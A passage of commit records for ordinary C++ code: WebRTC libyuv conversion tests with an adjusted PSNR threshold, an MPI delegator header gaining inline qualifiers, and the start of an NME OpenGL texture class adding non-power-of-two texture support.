0, width_, height_, width_,\n kRotateNone, out_i420_buffer));\n EXPECT_EQ(0, ConvertFromI420(out_i420_buffer, width_, kI420, 0,\n width_, height_, res_i420_buffer));\n fwrite(res_i420_buffer, frame_length_, 1, output_file);\n psnr = I420PSNR(orig_buffer, res_i420_buffer, width_, height_);\n EXPECT_EQ(48.0, psnr);\n j++;\n delete [] out_i420_buffer;\n\n \/\/ printf(\"\\nConvert #%d I420 <-> YV12\\n\", j);\n uint8_t* outYV120Buffer = new uint8_t[frame_length_];\n\n EXPECT_EQ(0, ConvertFromI420(orig_buffer, width_, kYV12, 0,\n width_, height_, outYV120Buffer));\n EXPECT_EQ(0, ConvertFromYV12(outYV120Buffer, width_,\n kI420, 0,\n width_, height_,\n res_i420_buffer));\n fwrite(res_i420_buffer, frame_length_, 1, output_file);\n\n psnr = I420PSNR(orig_buffer, res_i420_buffer, width_, height_);\n EXPECT_EQ(48.0, psnr);\n j++;\n delete [] outYV120Buffer;\n\n \/\/ printf(\"\\nConvert #%d I420 <-> YUY2\\n\", j);\n uint8_t* out_yuy2_buffer = new uint8_t[width_ * height_ * 2];\n EXPECT_EQ(0, ConvertFromI420(orig_buffer, width_,\n kYUY2, 0, width_, height_, out_yuy2_buffer));\n\n EXPECT_EQ(0, ConvertToI420(kYUY2, out_yuy2_buffer, 0, 0, width_, height_,\n 0, width_, height_, width_,\n kRotateNone, res_i420_buffer));\n\n fwrite(res_i420_buffer, frame_length_, 1, output_file);\n psnr = I420PSNR(orig_buffer, res_i420_buffer, width_, height_);\n EXPECT_EQ(48.0, psnr);\n\n \/\/ printf(\"\\nConvert #%d I420 <-> RGB565\\n\", j);\n uint8_t* out_rgb565_buffer = new uint8_t[width_ * height_ * 2];\n EXPECT_EQ(0, ConvertFromI420(orig_buffer, width_,\n kRGB565, 0, width_, height_, out_rgb565_buffer));\n\n EXPECT_EQ(0, ConvertToI420(kRGB565, out_rgb565_buffer, 0, 0, width_, height_,\n 0, width_, height_, width_,\n kRotateNone, res_i420_buffer));\n\n fwrite(res_i420_buffer, frame_length_, 1, output_file);\n psnr = I420PSNR(orig_buffer, res_i420_buffer, width_, height_);\n \/\/ TODO(leozwang) Investigate the right psnr should be set for I420ToRGB565,\n \/\/ Another example is I420ToRGB24, the psnr is 44\n EXPECT_GT(ceil(psnr), 40);\n\n \/\/ printf(\"\\nConvert #%d I420 <-> ARGB8888\\n\", j);\n uint8_t* out_argb8888_buffer = new uint8_t[width_ * height_ * 4];\n EXPECT_EQ(0, ConvertFromI420(orig_buffer, width_,\n kARGB, 0, width_, height_, out_argb8888_buffer));\n\n EXPECT_EQ(0, ConvertToI420(kARGB, out_argb8888_buffer, 0, 0, width_, height_,\n 0, width_, height_, width_,\n kRotateNone, res_i420_buffer));\n\n fwrite(res_i420_buffer, frame_length_, 1, output_file);\n psnr = I420PSNR(orig_buffer, res_i420_buffer, width_, height_);\n \/\/ TODO(leozwang) Investigate the right psnr should be set for I420ToARGB8888,\n EXPECT_GT(ceil(psnr), 45);\n\n ASSERT_EQ(0, fclose(output_file));\n\n delete [] out_argb8888_buffer;\n delete [] out_rgb565_buffer;\n delete [] out_yuy2_buffer;\n delete [] res_i420_buffer;\n delete [] orig_buffer;\n}\n\n\/\/ TODO(holmer): Disabled for now due to crashes on Linux 32 bit. The theory\n\/\/ is that it crashes due to the fact that the buffers are not 16 bit aligned.\n\/\/ See http:\/\/code.google.com\/p\/webrtc\/issues\/detail?id=335 for more info.\nTEST_F(TestLibYuv, DISABLED_MirrorTest) {\n \/\/ TODO (mikhal): Add an automated test to confirm output.\n std::string str;\n int width = 16;\n int height = 8;\n int factor_y = 1;\n int factor_u = 1;\n int factor_v = 1;\n int start_buffer_offset = 10;\n int length = webrtc::CalcBufferSize(kI420, width, height);\n\n uint8_t* test_frame = new uint8_t[length];\n memset(test_frame, 255, length);\n\n \/\/ Create input frame\n uint8_t* in_frame = test_frame;\n uint8_t* in_frame_cb = in_frame + width * height;\n uint8_t* in_frame_cr = in_frame_cb + (width * height) \/ 4;\n CreateImage(width, height, in_frame, 10, factor_y, 1); \/\/ Y\n CreateImage(width \/ 2, height \/ 2, in_frame_cb, 100, factor_u, 1); \/\/ Cb\n CreateImage(width \/ 2, height \/ 2, in_frame_cr, 200, factor_v, 1); \/\/ Cr\n EXPECT_EQ(0, PrintFrame(test_frame, width, height, \"InputFrame\"));\n\n uint8_t* test_frame2 = new uint8_t[length + start_buffer_offset * 2];\n memset(test_frame2, 255, length + start_buffer_offset * 2);\n uint8_t* out_frame = test_frame2;\n\n \/\/ LeftRight\n std::cout << \"Test Mirror function: LeftRight\" << std::endl;\n EXPECT_EQ(0, MirrorI420LeftRight(in_frame, out_frame, width, height));\n EXPECT_EQ(0, PrintFrame(test_frame2, width, height, \"OutputFrame\"));\n EXPECT_EQ(0, MirrorI420LeftRight(out_frame, test_frame, width, height));\n\n EXPECT_EQ(0, memcmp(in_frame, test_frame, length));\n\n \/\/ UpDown\n std::cout << \"Test Mirror function: UpDown\" << std::endl;\n EXPECT_EQ(0, MirrorI420UpDown(in_frame, out_frame, width, height));\n EXPECT_EQ(0, PrintFrame(test_frame2, width, height, \"OutputFrame\"));\n EXPECT_EQ(0, MirrorI420UpDown(out_frame, test_frame, width, height));\n\n EXPECT_EQ(0, memcmp(in_frame, test_frame, length));\n\n \/\/ TODO(mikhal): Write to a file, and ask to look at the file.\n\n std::cout << \"Do the mirrored frames look correct?\" << std::endl;\n delete [] test_frame;\n delete [] test_frame2;\n}\n\n} \/\/ namespace\n<commit_msg>Reduce PSNR because I420ToARGB888 return lowers number on windows<commit_after>\/*\n * Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include <math.h>\n#include <string.h>\n\n#include \"common_video\/libyuv\/include\/libyuv.h\"\n#include \"gtest\/gtest.h\"\n#include \"system_wrappers\/interface\/tick_util.h\"\n#include \"testsupport\/fileutils.h\"\n\nnamespace webrtc {\n\nint PrintFrame(const uint8_t* frame, int width, int height) {\n if (frame == NULL)\n return -1;\n int k = 0;\n for (int i = 0; i < height; i++) {\n for (int j = 0; j < width; j++) {\n printf(\"%d \", frame[k++]);\n }\n printf(\" \\n\");\n }\n printf(\" \\n\");\n return 0;\n}\n\nint PrintFrame(const uint8_t* frame, int width,\n int height, const char* str) {\n if (frame == NULL)\n return -1;\n printf(\"%s %dx%d \\n\", str, width, height);\n\n const uint8_t* frame_y = frame;\n const uint8_t* frame_u = frame_y + width * height;\n const uint8_t* frame_v = frame_u + width * height \/ 4;\n\n int ret = 0;\n ret += PrintFrame(frame_y, width, height);\n ret += PrintFrame(frame_u, width \/ 2, height \/ 2);\n ret += PrintFrame(frame_v, width \/ 2, height \/ 2);\n\n return ret;\n}\n\nvoid CreateImage(int width, int height,\n uint8_t* frame, int offset,\n int height_factor, int width_factor) {\n if (frame == NULL)\n return;\n for (int i = 0; i < height; i++) {\n for (int j = 0; j < width; j++) {\n *frame = static_cast<uint8_t>((i + offset) * height_factor\n + j * width_factor);\n frame++;\n }\n }\n}\n\nclass TestLibYuv : public ::testing::Test {\n protected:\n TestLibYuv();\n virtual void SetUp();\n virtual void TearDown();\n\n FILE* source_file_;\n const int width_;\n const int height_;\n const int frame_length_;\n};\n\n\/\/ TODO (mikhal): Use scoped_ptr when handling buffers.\nTestLibYuv::TestLibYuv()\n : source_file_(NULL),\n width_(352),\n height_(288),\n frame_length_(CalcBufferSize(kI420, 352, 288)) {\n}\n\nvoid TestLibYuv::SetUp() {\n const std::string input_file_name = webrtc::test::ProjectRootPath() +\n \"resources\/foreman_cif.yuv\";\n source_file_ = fopen(input_file_name.c_str(), \"rb\");\n ASSERT_TRUE(source_file_ != NULL) << \"Cannot read file: \"<<\n input_file_name << \"\\n\";\n}\n\nvoid TestLibYuv::TearDown() {\n if (source_file_ != NULL) {\n ASSERT_EQ(0, fclose(source_file_));\n }\n source_file_ = NULL;\n}\n\nTEST_F(TestLibYuv, ConvertSanityTest) {\n \/\/ TODO(mikhal)\n}\n\nTEST_F(TestLibYuv, ConvertTest) {\n \/\/ Reading YUV frame - testing on the first frame of the foreman sequence\n int j = 0;\n std::string output_file_name = webrtc::test::OutputPath() +\n \"LibYuvTest_conversion.yuv\";\n FILE* output_file = fopen(output_file_name.c_str(), \"wb\");\n ASSERT_TRUE(output_file != NULL);\n\n double psnr = 0;\n\n uint8_t* orig_buffer = new uint8_t[frame_length_];\n EXPECT_GT(fread(orig_buffer, 1, frame_length_, source_file_), 0U);\n\n \/\/ printf(\"\\nConvert #%d I420 <-> RGB24\\n\", j);\n uint8_t* res_rgb_buffer2 = new uint8_t[width_ * height_ * 3];\n uint8_t* res_i420_buffer = new uint8_t[frame_length_];\n\n EXPECT_EQ(0, ConvertFromI420(orig_buffer, width_, kRGB24, 0,\n width_, height_, res_rgb_buffer2));\n\n EXPECT_EQ(0, ConvertToI420(kRGB24, res_rgb_buffer2, 0, 0, width_, height_,\n 0, width_, height_, width_, kRotateNone,\n res_i420_buffer));\n\n fwrite(res_i420_buffer, frame_length_, 1, output_file);\n psnr = I420PSNR(orig_buffer, res_i420_buffer, width_, height_);\n \/\/ Optimization Speed- quality trade-off => 45 dB only (platform dependant).\n EXPECT_GT(ceil(psnr), 44);\n j++;\n delete [] res_rgb_buffer2;\n\n \/\/ printf(\"\\nConvert #%d I420 <-> UYVY\\n\", j);\n uint8_t* out_uyvy_buffer = new uint8_t[width_ * height_ * 2];\n EXPECT_EQ(0, ConvertFromI420(orig_buffer, width_,\n kUYVY, 0, width_, height_, out_uyvy_buffer));\n EXPECT_EQ(0, ConvertToI420(kUYVY, out_uyvy_buffer, 0, 0, width_, height_,\n 0, width_, height_, width_,kRotateNone, res_i420_buffer));\n psnr = I420PSNR(orig_buffer, res_i420_buffer, width_, height_);\n EXPECT_EQ(48.0, psnr);\n fwrite(res_i420_buffer, frame_length_, 1, output_file);\n\n j++;\n delete [] out_uyvy_buffer;\n\n \/\/ printf(\"\\nConvert #%d I420 <-> I420 \\n\", j);\n uint8_t* out_i420_buffer = new uint8_t[width_ * height_ * 3 \/ 2 ];\n EXPECT_EQ(0, ConvertToI420(kI420, orig_buffer, 0, 0, width_, height_,\n 0, width_, height_, width_,\n kRotateNone, out_i420_buffer));\n EXPECT_EQ(0, ConvertFromI420(out_i420_buffer, width_, kI420, 0,\n width_, height_, res_i420_buffer));\n fwrite(res_i420_buffer, frame_length_, 1, output_file);\n psnr = I420PSNR(orig_buffer, res_i420_buffer, width_, height_);\n EXPECT_EQ(48.0, psnr);\n j++;\n delete [] out_i420_buffer;\n\n \/\/ printf(\"\\nConvert #%d I420 <-> YV12\\n\", j);\n uint8_t* outYV120Buffer = new uint8_t[frame_length_];\n\n EXPECT_EQ(0, ConvertFromI420(orig_buffer, width_, kYV12, 0,\n width_, height_, outYV120Buffer));\n EXPECT_EQ(0, ConvertFromYV12(outYV120Buffer, width_,\n kI420, 0,\n width_, height_,\n res_i420_buffer));\n fwrite(res_i420_buffer, frame_length_, 1, output_file);\n\n psnr = I420PSNR(orig_buffer, res_i420_buffer, width_, height_);\n EXPECT_EQ(48.0, psnr);\n j++;\n delete [] outYV120Buffer;\n\n \/\/ printf(\"\\nConvert #%d I420 <-> YUY2\\n\", j);\n uint8_t* out_yuy2_buffer = new uint8_t[width_ * height_ * 2];\n EXPECT_EQ(0, ConvertFromI420(orig_buffer, width_,\n kYUY2, 0, width_, height_, out_yuy2_buffer));\n\n EXPECT_EQ(0, ConvertToI420(kYUY2, out_yuy2_buffer, 0, 0, width_, height_,\n 0, width_, height_, width_,\n kRotateNone, res_i420_buffer));\n\n fwrite(res_i420_buffer, frame_length_, 1, output_file);\n psnr = I420PSNR(orig_buffer, res_i420_buffer, width_, height_);\n EXPECT_EQ(48.0, psnr);\n\n \/\/ printf(\"\\nConvert #%d I420 <-> RGB565\\n\", j);\n uint8_t* out_rgb565_buffer = new uint8_t[width_ * height_ * 2];\n EXPECT_EQ(0, ConvertFromI420(orig_buffer, width_,\n kRGB565, 0, width_, height_, out_rgb565_buffer));\n\n EXPECT_EQ(0, ConvertToI420(kRGB565, out_rgb565_buffer, 0, 0, width_, height_,\n 0, width_, height_, width_,\n kRotateNone, res_i420_buffer));\n\n fwrite(res_i420_buffer, frame_length_, 1, output_file);\n psnr = I420PSNR(orig_buffer, res_i420_buffer, width_, height_);\n \/\/ TODO(leozwang) Investigate the right psnr should be set for I420ToRGB565,\n \/\/ Another example is I420ToRGB24, the psnr is 44\n EXPECT_GT(ceil(psnr), 40);\n\n \/\/ printf(\"\\nConvert #%d I420 <-> ARGB8888\\n\", j);\n uint8_t* out_argb8888_buffer = new uint8_t[width_ * height_ * 4];\n EXPECT_EQ(0, ConvertFromI420(orig_buffer, width_,\n kARGB, 0, width_, height_, out_argb8888_buffer));\n\n EXPECT_EQ(0, ConvertToI420(kARGB, out_argb8888_buffer, 0, 0, width_, height_,\n 0, width_, height_, width_,\n kRotateNone, res_i420_buffer));\n\n fwrite(res_i420_buffer, frame_length_, 1, output_file);\n psnr = I420PSNR(orig_buffer, res_i420_buffer, width_, height_);\n \/\/ TODO(leozwang) Investigate the right psnr should be set for I420ToARGB8888,\n EXPECT_GT(ceil(psnr), 42);\n\n ASSERT_EQ(0, fclose(output_file));\n\n delete [] out_argb8888_buffer;\n delete [] out_rgb565_buffer;\n delete [] out_yuy2_buffer;\n delete [] res_i420_buffer;\n delete [] orig_buffer;\n}\n\n\/\/ TODO(holmer): Disabled for now due to crashes on Linux 32 bit. The theory\n\/\/ is that it crashes due to the fact that the buffers are not 16 bit aligned.\n\/\/ See http:\/\/code.google.com\/p\/webrtc\/issues\/detail?id=335 for more info.\nTEST_F(TestLibYuv, DISABLED_MirrorTest) {\n \/\/ TODO (mikhal): Add an automated test to confirm output.\n std::string str;\n int width = 16;\n int height = 8;\n int factor_y = 1;\n int factor_u = 1;\n int factor_v = 1;\n int start_buffer_offset = 10;\n int length = webrtc::CalcBufferSize(kI420, width, height);\n\n uint8_t* test_frame = new uint8_t[length];\n memset(test_frame, 255, length);\n\n \/\/ Create input frame\n uint8_t* in_frame = test_frame;\n uint8_t* in_frame_cb = in_frame + width * height;\n uint8_t* in_frame_cr = in_frame_cb + (width * height) \/ 4;\n CreateImage(width, height, in_frame, 10, factor_y, 1); \/\/ Y\n CreateImage(width \/ 2, height \/ 2, in_frame_cb, 100, factor_u, 1); \/\/ Cb\n CreateImage(width \/ 2, height \/ 2, in_frame_cr, 200, factor_v, 1); \/\/ Cr\n EXPECT_EQ(0, PrintFrame(test_frame, width, height, \"InputFrame\"));\n\n uint8_t* test_frame2 = new uint8_t[length + start_buffer_offset * 2];\n memset(test_frame2, 255, length + start_buffer_offset * 2);\n uint8_t* out_frame = test_frame2;\n\n \/\/ LeftRight\n std::cout << \"Test Mirror function: LeftRight\" << std::endl;\n EXPECT_EQ(0, MirrorI420LeftRight(in_frame, out_frame, width, height));\n EXPECT_EQ(0, PrintFrame(test_frame2, width, height, \"OutputFrame\"));\n EXPECT_EQ(0, MirrorI420LeftRight(out_frame, test_frame, width, height));\n\n EXPECT_EQ(0, memcmp(in_frame, test_frame, length));\n\n \/\/ UpDown\n std::cout << \"Test Mirror function: UpDown\" << std::endl;\n EXPECT_EQ(0, MirrorI420UpDown(in_frame, out_frame, width, height));\n EXPECT_EQ(0, PrintFrame(test_frame2, width, height, \"OutputFrame\"));\n EXPECT_EQ(0, MirrorI420UpDown(out_frame, test_frame, width, height));\n\n EXPECT_EQ(0, memcmp(in_frame, test_frame, length));\n\n \/\/ TODO(mikhal): Write to a file, and ask to look at the file.\n\n std::cout << \"Do the mirrored frames look correct?\" << std::endl;\n delete [] test_frame;\n delete [] test_frame2;\n}\n\n} \/\/ namespace\n<|endoftext|>"} {"text":"<commit_before>\/*\n * delegator.hpp\n *\/\n\n\/\/ Copyright Shaun Harker 2011.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/ http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\n#include <set>\n#include <deque>\n#include <unistd.h>\n\n\/***************************************\n * USER INTERFACE *\n ***************************************\/\n\nnamespace delegator {\n \n void Start ( void ) {\n \t\/* Initialize the MPI communications *\/\n \tint argc; char * * argv;\n\t\tMPI_Init(&argc, &argv); \n }\n \n template < class Process >\n int Run ( void ) {\n int argc = 0; char * * argv = NULL;\n return Run < Process > ( argc, argv );\n } \/* Run<> *\/\n\n void Stop ( void ) {\n \t\/* Finalize the MPI communications. *\/\n\t\tMPI_Finalize();\n }\n \n template < class Process >\n int Run ( int argc, char * argv [] ) {\n typedef Coordinator_Worker_Scheme Scheme;\n return Run < Process, Scheme, Communicator > ( argc, argv );\n } \/* Start<> *\/\n\n \/\/ Run (more advanced interface)\n template < class Process, class Scheme, class Comm >\n int Run ( int argc, char * argv [] ) {\n \/* Create Process, Scheme, and Communicator *\/\n Comm my_communicator;\n Scheme my_scheme ( argc, argv );\n Process my_process;\n \n \/\/ Run Scheme until it finishes\n my_communicator . initialize ();\n my_scheme . run ( & my_process, & my_communicator );\n my_communicator . finalize ();\n return 0; \n } \/* Run<> *\/\n}\n\n\n<commit_msg>added missing inline qualifiers<commit_after>\/*\n * delegator.hpp\n *\/\n\n\/\/ Copyright Shaun Harker 2011.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/ http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\n#include <set>\n#include <deque>\n#include <unistd.h>\n\n\/***************************************\n * USER INTERFACE *\n ***************************************\/\n\nnamespace delegator {\n \n inline void Start ( void ) {\n \t\/* Initialize the MPI communications *\/\n \tint argc; char * * argv;\n\t\tMPI_Init(&argc, &argv); \n }\n \n template < class Process >\n int Run ( void ) {\n int argc = 0; char * * argv = NULL;\n return Run < Process > ( argc, argv );\n } \/* Run<> *\/\n\n inline void Stop ( void ) {\n \t\/* Finalize the MPI communications. *\/\n\t\tMPI_Finalize();\n }\n \n template < class Process >\n int Run ( int argc, char * argv [] ) {\n typedef Coordinator_Worker_Scheme Scheme;\n return Run < Process, Scheme, Communicator > ( argc, argv );\n } \/* Start<> *\/\n\n \/\/ Run (more advanced interface)\n template < class Process, class Scheme, class Comm >\n int Run ( int argc, char * argv [] ) {\n \/* Create Process, Scheme, and Communicator *\/\n Comm my_communicator;\n Scheme my_scheme ( argc, argv );\n Process my_process;\n \n \/\/ Run Scheme until it finishes\n my_communicator . initialize ();\n my_scheme . run ( & my_process, & my_communicator );\n my_communicator . finalize ();\n return 0; \n } \/* Run<> *\/\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>#include \".\/OGL.h\"\n\nnamespace nme\n{\n\n\n\nbool gHasNPO2Extension = false;\nbool NonPO2Supported(bool inNotRepeating)\n{\n static bool tried = false;\n \n \/\/OpenGL 2.0 introduced non PO2 as standard, in 2004 - safe to assume it exists on PC\n #ifdef FORCE_NON_PO2\n return true;\n #endif\n\n if (!tried)\n {\n tried = true;\n const char* extensions = (char*) glGetString(GL_EXTENSIONS);\n\t \n\t gHasNPO2Extension = strstr(extensions, \"ARB_texture_non_power_of_two\") != 0;\n\t \n\t if (!gHasNPO2Extension)\n\t {\n\t\t gHasNPO2Extension = strstr(extensions, \"GL_APPLE_texture_2D_limited_npot\") != 0;\n\t }\n \n \/\/printf(\"Has NPO2 Extension : %d\\n\", gHasNPO2Extension);\n }\n\n return gHasNPO2Extension && inNotRepeating;\n}\n\n\n\n\nclass OGLTexture : public Texture\n{\npublic:\n OGLTexture(Surface *inSurface,unsigned int inFlags)\n {\n \n mPixelWidth = inSurface->Width();\n mPixelHeight = inSurface->Height();\n mDirtyRect = Rect(0,0);\n mContextVersion = gTextureContextVersion;\n\n bool non_po2 = NonPO2Supported(true && (inFlags & SURF_FLAGS_NOT_REPEAT_IF_NON_PO2));\n \/\/printf(\"Using non-power-of-2 texture %d\\n\",non_po2);\n \n int w = non_po2 ? mPixelWidth : UpToPower2(mPixelWidth);\n int h = non_po2 ? mPixelHeight : UpToPower2(mPixelHeight);\n mCanRepeat = IsPower2(w) && IsPower2(h);\n \n \/\/__android_log_print(ANDROID_LOG_ERROR, \"NME\", \"NewTexure %d %d\", w, h);\n\n mTextureWidth = w;\n mTextureHeight = h;\n bool copy_required = w!=mPixelWidth || h!=mPixelHeight;\n\n Surface *load = inSurface;\n if (copy_required)\n {\n int pw = inSurface->Format()==pfAlpha ? 1 : 4;\n load = new SimpleSurface(w,h,inSurface->Format());\n load->IncRef();\n for(int y=0;y<mPixelHeight;y++)\n {\n const uint8 *src = inSurface->Row(y);\n uint8 *dest= (uint8 *)load->Row(y);\n memcpy(dest,src,mPixelWidth*pw);\n if (w>mPixelWidth)\n memcpy(dest+mPixelWidth*pw,dest+(mPixelWidth-1)*pw,pw);\n }\n if (h!=mPixelHeight)\n {\n memcpy((void *)load->Row(mPixelHeight),load->Row(mPixelHeight-1),\n (mPixelWidth + (w!=mPixelWidth))*pw);\n }\n }\n\n #ifdef IPHONE\n uint8 *dest;\n \n if ( inSurface->Format() == pfARGB4444 ) {\n int size = mTextureWidth * mTextureHeight;\n dest = (uint8 *)malloc( size * 2 );\n \n const uint8 *src = (uint8 *)load->Row( 0 );\n \n for ( int c = 0; c < size; c++ ) {\n\n uint8 srca = src[ c * 4 ] \/ 16;\n uint8 srcb = src[ c * 4 + 1 ] \/ 16;\n uint8 srcc = src[ c * 4 + 2 ] \/ 16;\n uint8 srcd = src[ c * 4 + 3 ] \/ 16;\n\n dest[ c * 2 ] = ( srcc << 4 | srcd );\n dest[ c * 2 + 1 ] = ( srca << 4 | srcb );\n }\n } else if ( inSurface->Format() == pfRGB565 ) {\n int size = mTextureWidth * mTextureHeight;\n dest = (uint8 *)malloc( size * 2 );\n \n const uint8 *src = (uint8 *)load->Row( 0 );\n \n for ( int c = 0; c < size; c++ ) {\n uint8 srca = src[ c * 4 ] \/ 8;\n uint8 srcb = src[ c * 4 + 1 ] \/ 4;\n uint8 srcc = src[ c * 4 + 2 ] \/ 8;\n \n \/\/pack into 565\n unsigned int combined = (srca << 11) | (srcb << 5) | (srcc << 0);\n\n \/\/write to the buffer\n dest[ c * 2 +1] = combined >> 8;\n dest[ c * 2 ] = combined & 0x00FF;\n }\n }\n #endif\n\n\n glGenTextures(1, &mTextureID);\n \/\/ __android_log_print(ANDROID_LOG_ERROR, \"NME\", \"CreateTexture %d (%dx%d)\",\n \/\/ mTextureID, mPixelWidth, mPixelHeight);\n glBindTexture(GL_TEXTURE_2D,mTextureID);\n mRepeat = mCanRepeat;\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, mRepeat ? GL_REPEAT : GL_CLAMP_TO_EDGE );\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, mRepeat ? GL_REPEAT : GL_CLAMP_TO_EDGE );\n\n PixelFormat fmt = load->Format();\n GLuint src_format = fmt==pfAlpha ? GL_ALPHA : GL_RGBA;\n GLuint store_format = src_format;\n \n \n #ifdef IPHONE\n if ( inSurface->Format() == pfARGB4444 ) {\n glTexImage2D(GL_TEXTURE_2D, 0, store_format, w, h, 0, src_format,\n GL_UNSIGNED_SHORT_4_4_4_4, dest );\n \n free( dest );\n } else if ( inSurface->Format() == pfRGB565 ) {\n glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB, w, h, 0, GL_RGB,\n GL_UNSIGNED_SHORT_5_6_5, dest );\n \n free( dest );\n } else\n #endif\n \n glTexImage2D(GL_TEXTURE_2D, 0, store_format, w, h, 0, src_format,\n GL_UNSIGNED_BYTE, load->Row(0) );\n\n mSmooth = true;\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n #ifdef GPH\n glTexEnvx(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_MODULATE);\n #else\n glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_MODULATE);\n #endif\n\n\n if (copy_required)\n {\n load->DecRef();\n }\n\n \/\/int err = glGetError();\n\t \/\/printf (\"GL texture error: %i\", err);\n }\n ~OGLTexture()\n {\n if (mTextureID && mContextVersion==gTextureContextVersion)\n {\n \/\/__android_log_print(ANDROID_LOG_ERROR, \"NME\", \"DeleteTexture %d (%dx%d)\",\n \/\/mTextureID, mPixelWidth, mPixelHeight);\n glDeleteTextures(1,&mTextureID);\n }\n }\n\n void Bind(class Surface *inSurface,int inSlot)\n {\n glBindTexture(GL_TEXTURE_2D,mTextureID);\n if (gTextureContextVersion!=mContextVersion)\n {\n mContextVersion = gTextureContextVersion;\n mDirtyRect = Rect(inSurface->Width(),inSurface->Height());\n }\n if (mDirtyRect.HasPixels())\n {\n \/\/__android_log_print(ANDROID_LOG_INFO, \"NME\", \"UpdateDirtyRect! %d %d\",\n \/\/mPixelWidth, mPixelHeight);\n\n PixelFormat fmt = inSurface->Format();\n GLuint src_format = fmt==pfAlpha ? GL_ALPHA : GL_RGBA;\n glGetError();\n const uint8 *p0 = \n inSurface->Row(mDirtyRect.y) + mDirtyRect.x*inSurface->BytesPP();\n #if defined(NME_GLES)\n for(int y=0;y<mDirtyRect.h;y++)\n {\n glTexSubImage2D(GL_TEXTURE_2D, 0, mDirtyRect.x,mDirtyRect.y + y,\n mDirtyRect.w, 1,\n src_format, GL_UNSIGNED_BYTE,\n p0 + y*inSurface->GetStride());\n }\n #else\n glPixelStorei(GL_UNPACK_ROW_LENGTH, inSurface->Width());\n glTexSubImage2D(GL_TEXTURE_2D, 0, mDirtyRect.x,mDirtyRect.y,\n mDirtyRect.w, mDirtyRect.h,\n src_format, GL_UNSIGNED_BYTE,\n p0);\n glPixelStorei(GL_UNPACK_ROW_LENGTH,0);\n #endif\n int err = glGetError();\n mDirtyRect = Rect();\n }\n }\n\n void BindFlags(bool inRepeat,bool inSmooth)\n {\n if (!mCanRepeat) inRepeat = false;\n if (mRepeat!=inRepeat)\n {\n mRepeat = inRepeat;\n if (mRepeat)\n {\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT );\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT );\n }\n else\n {\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE );\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE );\n }\n }\n\n if (mSmooth!=inSmooth)\n {\n mSmooth = inSmooth;\n if (mSmooth)\n {\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n }\n else\n {\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n }\n }\n\n }\n\n\n UserPoint PixelToTex(const UserPoint &inPixels)\n {\n return UserPoint(inPixels.x\/mTextureWidth, inPixels.y\/mTextureHeight);\n }\n\n UserPoint TexToPaddedTex(const UserPoint &inTex)\n {\n return UserPoint(inTex.x*mPixelWidth\/mTextureWidth, inTex.y*mPixelHeight\/mTextureHeight);\n }\n\n\n\n GLuint mTextureID;\n bool mCanRepeat;\n bool mRepeat;\n bool mSmooth;\n int mPixelWidth;\n int mPixelHeight;\n int mTextureWidth;\n int mTextureHeight;\n};\n\n\nTexture *OGLCreateTexture(Surface *inSurface,unsigned int inFlags)\n{\n return new OGLTexture(inSurface,inFlags);\n}\n\n\n} \/\/ end namespace nme\n<commit_msg>When ARB_texture_non_power_of_two is supported, allow non-PO2 for repeating fills as well<commit_after>#include \".\/OGL.h\"\n\nnamespace nme\n{\n\n\n\nbool gFullNPO2Support = false;\nbool gPartialNPO2Support = false;\n\nbool NonPO2Supported(bool inNotRepeating)\n{\n static bool tried = false;\n \n \/\/OpenGL 2.0 introduced non PO2 as standard, in 2004 - safe to assume it exists on PC\n #ifdef FORCE_NON_PO2\n return true;\n #endif\n\n if (!tried)\n {\n tried = true;\n const char* extensions = (char*) glGetString(GL_EXTENSIONS);\n\t \n\t gFullNPO2Support = strstr(extensions, \"ARB_texture_non_power_of_two\") != 0;\n\t \n\t if (!gFullNPO2Support)\n\t {\n\t\t gPartialNPO2Support = strstr(extensions, \"GL_APPLE_texture_2D_limited_npot\") != 0;\n\t }\n \n\t \n \/\/printf(\"Full non-PO2 support : %d\\n\", gFullNPO2Support);\n \/\/printf(\"Partial non-PO2 support : %d\\n\", gPartialNPO2Support);\n }\n\n return (gFullNPO2Support || (gPartialNPO2Support && inNotRepeating));\n}\n\n\n\n\nclass OGLTexture : public Texture\n{\npublic:\n OGLTexture(Surface *inSurface,unsigned int inFlags)\n {\n \n mPixelWidth = inSurface->Width();\n mPixelHeight = inSurface->Height();\n mDirtyRect = Rect(0,0);\n mContextVersion = gTextureContextVersion;\n\n bool non_po2 = NonPO2Supported(true && (inFlags & SURF_FLAGS_NOT_REPEAT_IF_NON_PO2));\n \/\/printf(\"Using non-power-of-2 texture %d\\n\",non_po2);\n \n int w = non_po2 ? mPixelWidth : UpToPower2(mPixelWidth);\n int h = non_po2 ? mPixelHeight : 